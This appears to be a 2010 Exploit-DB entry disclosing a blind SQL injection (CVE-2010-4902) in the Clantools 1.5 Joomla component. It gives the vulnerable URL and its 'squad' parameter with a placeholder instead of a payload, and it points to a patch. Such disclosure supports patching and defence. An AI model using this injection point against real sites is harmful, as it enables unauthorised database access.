Joomla! Component Clantools 1.5 - Blind SQL Injection

Author: Solidmedia
type: webapps
platform: php
port: 
date_added: 2010-09-05 
date_updated: 2016-12-15 
verified: 0 
codes: OSVDB-67827;OSVDB-67823;CVE-2010-4902 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcom_clantools_j1.5_v1.5.zip

# Exploit Title: Joomla Component Clantools version 1.5 Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://joomla-clantools.de/downloads/doc_download/26-clantools-v15-fuer-joomla-15x.html
# Version: 1.5


[ Vulnerability 1 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]


#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch